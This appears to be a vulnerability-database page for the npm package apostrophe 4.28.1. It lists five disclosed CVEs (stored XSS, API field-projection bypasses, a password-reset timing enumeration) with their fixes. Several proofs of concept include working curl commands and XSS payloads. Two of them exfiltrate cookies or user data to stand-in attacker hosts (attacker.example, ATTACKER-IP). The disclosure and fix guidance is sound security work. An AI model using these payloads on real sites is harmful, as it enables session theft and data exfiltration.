Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/apostrophe@4.28.1
purl pkg:npm/apostrophe@4.28.1
Next non-vulnerable version 4.29.0
Latest non-vulnerable version 4.29.0
Risk
Vulnerabilities affecting this package (5)
Vulnerability Summary Fixed by
VCID-4twt-e5vw-m3em
Aliases:
CVE-2026-33889
GHSA-97v6-998m-fp4g
ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context ## Summary The `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `<style>` tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject `</style>` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors. ## Details **Root Cause 1: Validation bypass in color field** (`modules/@apostrophecms/color-field/index.js:36`) The color field's `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`: ```javascript // modules/@apostrophecms/color-field/index.js:26-38 async convert(req, field, data, destination) { destination[field.name] = self.apos.launder.string(data[field.name]); // ... const test = new TinyColor(destination[field.name]); if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } }, ``` A value like `--x: red}</style><script>alert(document.cookie)</script><style>` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only — it does not strip HTML metacharacters like `<`, `>`, or `/`. **Root Cause 2a: Unescaped rendering in widget styles (public path)** (`modules/@apostrophecms/styles/lib/methods.js:232-234`) The `getWidgetElements()` method concatenates the CSS string directly into a `<style>` tag: ```javascript // modules/@apostrophecms/styles/lib/methods.js:232-234 return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` + css + '\n</style>'; ``` This is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for **all visitors** on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`). **Root Cause 2b: Unescaped rendering in global stylesheet (editor path)** (`modules/@apostrophecms/template/index.js:1164-1165`) The `renderNodes()` function returns `node.raw` without escaping: ```javascript // modules/@apostrophecms/template/index.js:1164-1165 if (node.raw != null) { return node.raw; } ``` Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`. ## PoC **Prerequisites:** An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration. **Step 1: Authenticate and obtain a CSRF token and session cookie.** ```bash # Login as editor COOKIE_JAR=$(mktemp) curl -s -c "$COOKIE_JAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"editor123"}' # Extract CSRF token CSRF=$(curl -s -b "$COOKIE_JAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4) ``` **Step 2: Create or update a piece/page with a malicious color value in a styled widget.** The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property): ```bash # Inject XSS payload via color field in widget styles # The --x prefix bypasses TinyColor validation PAYLOAD='--x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>' curl -s -b "$COOKIE_JAR" -X POST \ "http://localhost:3000/api/v1/@apostrophecms/page" \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $CSRF" \ -d '{ "slug": "/xss-test", "title": "Test Page", "type": "default-page", "main": { "items": [{ "type": "some-widget", "styles": { "backgroundColor": "'"$PAYLOAD"'" } }] } }' ``` **Step 3: Publish the page.** ```bash curl -s -b "$COOKIE_JAR" -X POST \ "http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \ -H "X-XSRF-TOKEN: $CSRF" ``` **Step 4: Any visitor navigates to the published page.** ```bash # As an unauthenticated visitor curl -s http://localhost:3000/xss-test | grep -A2 'onerror' ``` **Expected (safe):** The color value is escaped or rejected. **Actual:** The rendered HTML contains: ```html <style data-apos-widget-style-for="..." data-apos-widget-style-id="..."> .apos-widget-style-... { background-color: --x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>; } </style> ``` The injected `</style>` closes the style tag, and the `<img onerror>` executes JavaScript in the visitor's browser. ## Impact - **Stored XSS on public pages (Path B):** An editor can inject JavaScript that executes for **every visitor** to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience. - **Privilege escalation (Path A):** An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS. - **Persistence:** The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited. - **No CSP mitigation:** Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked. ## Recommended Fix **Fix 1: Sanitize color values in the color field's `convert` method** (`modules/@apostrophecms/color-field/index.js`): ```javascript // Before (line 36): if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } // After: if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } else if (destination[field.name].startsWith('--')) { // CSS custom property names: only allow alphanumeric, hyphens, underscores if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) { destination[field.name] = null; } } ``` **Fix 2: Escape CSS output in `getWidgetElements`** (`modules/@apostrophecms/styles/lib/methods.js`): ```javascript // Before (line 232-234): return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` + css + '\n</style>'; // After: const sanitizedCss = css.replace(/<\//g, '<\\/'); return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` + sanitizedCss + '\n</style>'; ``` Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).
4.29.0
Affected by 0 other vulnerabilities.
VCID-5tyh-bvgy-nuhe
Aliases:
CVE-2026-39857
GHSA-c276-fj82-f2pq
ApostropheCMS: Information Disclosure via choices/counts Query Parameters Bypassing publicApiProjection Field Restrictions ## Summary The `choices` and `counts` query parameters in the Apostrophe CMS REST API allow unauthenticated users to extract distinct field values for any schema field that has a registered query builder, completely bypassing `publicApiProjection` restrictions that are intended to limit which fields are exposed publicly. Fields protected by `viewPermission` are similarly exposed. ## Details When a piece type configures `publicApiProjection` to enable public API access while restricting visible fields, the restriction is enforced via a MongoDB projection on the main query (piece-type/index.js:1130-1134). However, the `choices` and `counts` query builders bypass this protection through a separate code path. The vulnerable flow: 1. `getRestQuery` at piece-type/index.js:1120 calls `applyBuildersSafely(req.query)` (line 1122), which processes query parameters including `choices` and `counts` since both have `launder` methods (doc-type/index.js:2627-2628 and 2675-2676). 2. The `publicApiProjection` is applied afterward (line 1130-1134) as a MongoDB projection on the main query. 3. During query execution, the `choices` builder's `after` handler (doc-type/index.js:2636-2668) iterates over requested field names. The only validation is: - The field has a registered builder (`_.has(query.builders, filter)` at line 2651) - The builder has a `launder` method (line 2656) All schema field types (string, integer, float, select, boolean, date, slug, relationship) register query builders with `launder` methods via `addQueryBuilder` in `addFieldTypes.js`. 4. `toChoices` (line 2661) calls the field's `choices` function, which typically calls `sortedDistinct` → `toDistinct`. The `toDistinct` method (doc-type/index.js:2811) executes `db.distinct(property, criteria)` — a MongoDB operation that returns all distinct values for the given property matching the criteria. **MongoDB's `distinct` operation does not respect projections**; it operates directly on the specified field regardless of any projection set on the query. 5. The results are stored via `query.set('choicesResults', choices)` (line 2666) and returned directly in the API response at piece-type/index.js:292-296 without any filtering against `publicApiProjection` or `removeForbiddenFields`. The same bypass applies to `viewPermission`-protected fields: `removeForbiddenFields` (doc-type/index.js:1585-1611) only processes document results from `toArray()`, not the separate choices/counts data. The page REST API has the same issue at page/index.js:371-376. ## PoC ```bash # Prerequisites: # - An Apostrophe 4.x instance with a piece type configured with publicApiProjection # - Example: an 'article' piece type with: # publicApiProjection: { title: 1, slug: 1, _url: 1 } # and additional schema fields like 'status' (select), 'priority' (integer), # or 'internalNotes' (string) NOT in the projection # 1. Verify normal API access only returns projected fields curl -s 'http://localhost:3000/api/v1/article' | python3 -m json.tool # Response results contain only: title, slug, _url (as configured) # 2. Extract distinct values of a non-projected field via choices curl -s 'http://localhost:3000/api/v1/article?choices=status' | python3 -m json.tool # Response includes: # "choices": {"status": [{"value": "draft", "label": "draft"}, {"value": "published", "label": "published"}, ...]} # 3. Extract distinct values with document counts via counts curl -s 'http://localhost:3000/api/v1/article?counts=priority' | python3 -m json.tool # Response includes: # "counts": {"priority": [{"value": 1, "label": "1", "count": 15}, {"value": 2, "label": "2", "count": 8}, ...]} # 4. Multiple fields can be extracted at once curl -s 'http://localhost:3000/api/v1/article?choices=status,priority,internalNotes' ``` ## Impact - **Distinct field values leaked**: An unauthenticated attacker can extract all distinct values of any schema field on any piece type that has `publicApiProjection` configured, even when those fields are explicitly excluded from the projection. - **Field types affected**: All field types that register query builders: string, slug, integer, float, select, boolean, date, and relationship fields. - **Count disclosure**: The `counts` variant additionally reveals how many documents have each distinct value, providing statistical information about the dataset. - **viewPermission bypass**: Fields protected with `viewPermission` (intended for role-based field access) are also exposed via this path. - **Both APIs affected**: The piece-type REST API (piece-type/index.js:292-296) and page REST API (page/index.js:371-376) are both vulnerable. - **Real-world impact**: If a CMS stores sensitive data in schema fields (e.g., internal status values, priority levels, internal categories, user-facing content marked as restricted), all distinct values are extractable by any unauthenticated visitor. ## Recommended Fix In the `choices` builder's `after` handler (doc-type/index.js:2636-2668), add validation to skip fields not permitted by `publicApiProjection` and `viewPermission`: ```javascript // doc-type/index.js, in the choices builder's after handler (line 2644 area) for (const filter of filters) { if (!_.has(query.builders, filter)) { continue; } if (!query.builders[filter].launder) { continue; } // NEW: Enforce publicApiProjection restrictions on choices/counts const publicApiProjection = query.get('project'); if (publicApiProjection && !publicApiProjection[filter]) { continue; } // NEW: Enforce viewPermission field restrictions const field = self.schema.find(f => f.name === filter); if (field && field.viewPermission && !self.apos.permission.can(query.req, field.viewPermission.action, field.viewPermission.type)) { continue; } const _query = baseQuery.clone(); _query[filter](null); choices[filter] = await _query.toChoices(filter, { counts: query.get('counts') }); } ``` Additionally, apply the same fix in the page REST API handler (page/index.js) for consistency.
4.29.0
Affected by 0 other vulnerabilities.
VCID-a7rh-r1sn-2udh
Aliases:
CVE-2026-33877
GHSA-mj7r-x3h3-7rmr
ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint ## Summary The password reset endpoint (`/api/v1/@apostrophecms/login/reset-request`) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile. ## Details The `resetRequest` handler in `modules/@apostrophecms/login/index.js` attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path: **User not found — fixed 2000ms delay** (`index.js:309-314`): ```javascript if (!user) { await wait(); // wait = (t = 2000) => Promise.delay(t) self.apos.util.error( `Reset password request error - the user ${email} doesn\`t exist.` ); return; } ``` **User found — variable-duration DB + SMTP operations, no artificial delay** (`index.js:323-355`): ```javascript const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); // ... URL construction ... await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) }); ``` The user-found path includes a MongoDB `update()` call and an SMTP `email()` send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users. Additionally, the `getPasswordResetUser` method (`index.js:664-666`) accepts both username and email via an `$or` query, enabling enumeration of both identifiers: ```javascript const criteriaOr = [ { username: email }, { email } ]; ``` There is no rate limiting on the reset endpoint. The `checkLoginAttempts` throttle (`index.js:978`) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint. ## PoC **Prerequisites:** An Apostrophe instance with `passwordReset: true` enabled in `@apostrophecms/login` configuration. **Step 1 — Baseline invalid user timing:** ```bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{time_total}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "nonexistent-user-'$i'@example.com"}' done # Expected: all responses cluster tightly around 2.0xx seconds ``` **Step 2 — Test known valid user:** ```bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{time_total}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "admin"}' done # Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP) ``` **Step 3 — Statistical comparison:** The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay. ## Impact - **Account enumeration:** An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance. - **Credential stuffing preparation:** Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases. - **Phishing targeting:** Knowledge of valid accounts enables targeted phishing campaigns against confirmed users. - **No rate limiting:** The absence of throttling on the reset endpoint allows high-speed automated enumeration. - **Mitigating factor:** The `passwordReset` option defaults to `false` (`index.js:62`), so only instances that explicitly enable password reset are affected. ## Recommended Fix Normalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found: ```javascript async resetRequest(req) { const MIN_RESPONSE_TIME = 2000; const startTime = Date.now(); const site = (req.headers.host || '').replace(/:\d+$/, ''); const email = self.apos.launder.string(req.body.email); if (!email.length) { throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired')); } let user; try { user = await self.getPasswordResetUser(req.body.email); } catch (e) { self.apos.util.error(e); } if (!user) { self.apos.util.error( `Reset password request error - the user ${email} doesn\`t exist.` ); } else if (!user.email) { self.apos.util.error( `Reset password request error - the user ${user.username} doesn\`t have an email.` ); } else { const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); let port = (req.headers.host || '').split(':')[1]; if (!port || [ '80', '443' ].includes(port)) { port = ''; } else { port = `:${port}`; } const parsed = new URL( req.absoluteUrl, self.apos.baseUrl ? undefined : `${req.protocol}://${req.hostname}${port}` ); parsed.pathname = self.login(); parsed.search = '?'; parsed.searchParams.append('reset', reset); parsed.searchParams.append('email', user.email); try { await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) }); } catch (err) { self.apos.util.error(`Error while sending email to ${user.email}`, err); } } // Pad all paths to a constant minimum duration const elapsed = Date.now() - startTime; if (elapsed < MIN_RESPONSE_TIME) { await Promise.delay(MIN_RESPONSE_TIME - elapsed); } }, ``` Additionally, consider applying rate limiting to the `reset-request` endpoint to prevent high-speed enumeration attempts.
4.29.0
Affected by 0 other vulnerabilities.
VCID-ewtn-suju-dyeb
Aliases:
CVE-2026-33888
GHSA-xhq9-58fw-859p
ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API ## Summary The `getRestQuery` method in the `@apostrophecms/piece-type` module checks whether a MongoDB projection has already been set before applying the admin-configured `publicApiProjection`. An unauthenticated attacker can supply a `project` query parameter in the REST API request to pre-populate the projection state, causing the security-enforced `publicApiProjection` to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access. ## Details When an unauthenticated user queries the piece-type REST API, the `getRestQuery` method processes the request at `modules/@apostrophecms/piece-type/index.js:1120`: ```javascript // piece-type/index.js:1120-1137 getRestQuery(req, omitPermissionCheck = false) { const query = self.find(req).attachments(true); query.applyBuildersSafely(req.query); // [1] attacker input applied first if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ _id: null }); } else if (!query.state.project) { // [2] checks if projection already set query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } } return query; }, ``` At **[1]**, `applyBuildersSafely` iterates over all query string parameters and invokes their corresponding builder methods. The `project` builder exists in `@apostrophecms/doc-type` with a `launder` method (`doc-type/index.js:1876`) that sanitizes values to booleans: ```javascript // doc-type/index.js:1875-1889 project: { launder (p) { if (!p || typeof p !== 'object' || Array.isArray(p)) { return {}; } const projection = Object.entries(p).reduce((acc, [ key, val ]) => { return { ...acc, [key]: self.apos.launder.boolean(val) }; }, {}); return projection; }, ``` When a request includes `?project[someField]=1`, the builder sets `query.state.project` to `{someField: true}`. At **[2]**, the conditional `!query.state.project` evaluates to `false` because the state is already populated, so the `publicApiProjection` is never applied. For comparison, the `@apostrophecms/page` module's equivalent method (`page/index.js:2953`) unconditionally applies the projection: ```javascript // page/index.js:2953-2958 } else { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } ``` ## PoC **Prerequisites:** An ApostropheCMS 4.x instance with a piece-type (e.g., `article`) that has `publicApiProjection` configured to restrict fields. For example: ```javascript // modules/article/index.js module.exports = { extend: '@apostrophecms/piece-type', options: { publicApiProjection: { title: 1, _url: 1 } } }; ``` **Step 1:** Normal request — observe restricted fields are hidden: ```bash curl 'http://localhost:3000/api/v1/article' ``` Response returns only `title` and `_url` fields per the configured projection. **Step 2:** Bypass projection by supplying `project` query parameter: ```bash curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1' ``` Response now includes `internalNotes`, `slug`, `createdAt`, and any other requested fields — bypassing the admin-configured `publicApiProjection` restriction. **Step 3:** Request all default fields by projecting inclusion of sensitive fields: ```bash curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1' ``` All requested fields are returned, confirming the `publicApiProjection` is fully bypassed. ## Impact - **Information Disclosure:** An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API. - **Scope:** Affects all piece-type modules with `publicApiProjection` configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents. - **Exploitability:** Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required. ## Recommended Fix Remove the conditional check on `query.state.project` in `piece-type/index.js`, matching the page module's unconditional behavior. The admin-configured `publicApiProjection` should always override any user-supplied projection for unauthenticated users: ```javascript // modules/@apostrophecms/piece-type/index.js:1123-1134 // BEFORE (vulnerable): if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ _id: null }); } else if (!query.state.project) { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } } // AFTER (fixed): if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ _id: null }); } else { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } } ```
4.29.0
Affected by 0 other vulnerabilities.
VCID-h7q4-v6us-9ye4
Aliases:
CVE-2026-35569
GHSA-855c-r2vq-c292
Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS ## Summary A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS. Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality. ## Affected Version ApostropheCMS (tested on version: v4.28.0) ## Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as: - `<title>` - `<meta>` attributes - structured data (JSON-LD) This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users. ## PoC 1 **The following payload demonstrates breaking out of HTML context:** ```javascript "></title><script>alert(1)</script> ``` This confirms: - Improper output encoding - Ability to escape `<title> / <meta>` contexts - Arbitrary script execution ## PoC 2 **This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.** ```javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> ``` ## Video Proof of Concept Watch the following YouTube video for a full demonstration of the exploit: **PoC Video:** https://youtu.be/FZuulua_pa8 ## Steps to Reproduce 1. Start a local listener: `python3 -m http.server 5656` 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description ```javascript "></title><script> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> ``` 6. Set **Schema Type** to "Web page" 7. Save and publish the page 8. Have an administrator visit the page ## Result - The payload executes in the admin’s browser - The script sends a request to: `/api/v1/@apostrophecms/user` - The response contains sensitive user data: - usernames - email addresses - roles (including admin) - The data is exfiltrated to the attacker-controlled server: - `http://ATTACKER-IP:5656` ## Evidence - The attacker server receives: - `GET /?data=BASE64_ENCODED_RESPONSE` - Decoding the response reveals sensitive application data. ## Security Impact This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server ## References - Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3 - https://www.cve.org/CVERecord?id=CVE-2026-35569 - https://nvd.nist.gov/vuln/detail/CVE-2026-35569 - https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569
4.29.0
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-06T08:10:04.434443+00:00 GitLab Importer Affected by VCID-h7q4-v6us-9ye4 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/CVE-2026-35569.yml 38.6.0
2026-06-06T08:09:05.926683+00:00 GitLab Importer Affected by VCID-5tyh-bvgy-nuhe https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/CVE-2026-39857.yml 38.6.0
2026-06-06T08:08:52.044586+00:00 GitLab Importer Affected by VCID-4twt-e5vw-m3em https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/CVE-2026-33889.yml 38.6.0
2026-06-06T08:08:11.839583+00:00 GitLab Importer Affected by VCID-ewtn-suju-dyeb https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/CVE-2026-33888.yml 38.6.0
2026-06-06T08:07:17.155867+00:00 GitLab Importer Affected by VCID-a7rh-r1sn-2udh https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/CVE-2026-33877.yml 38.6.0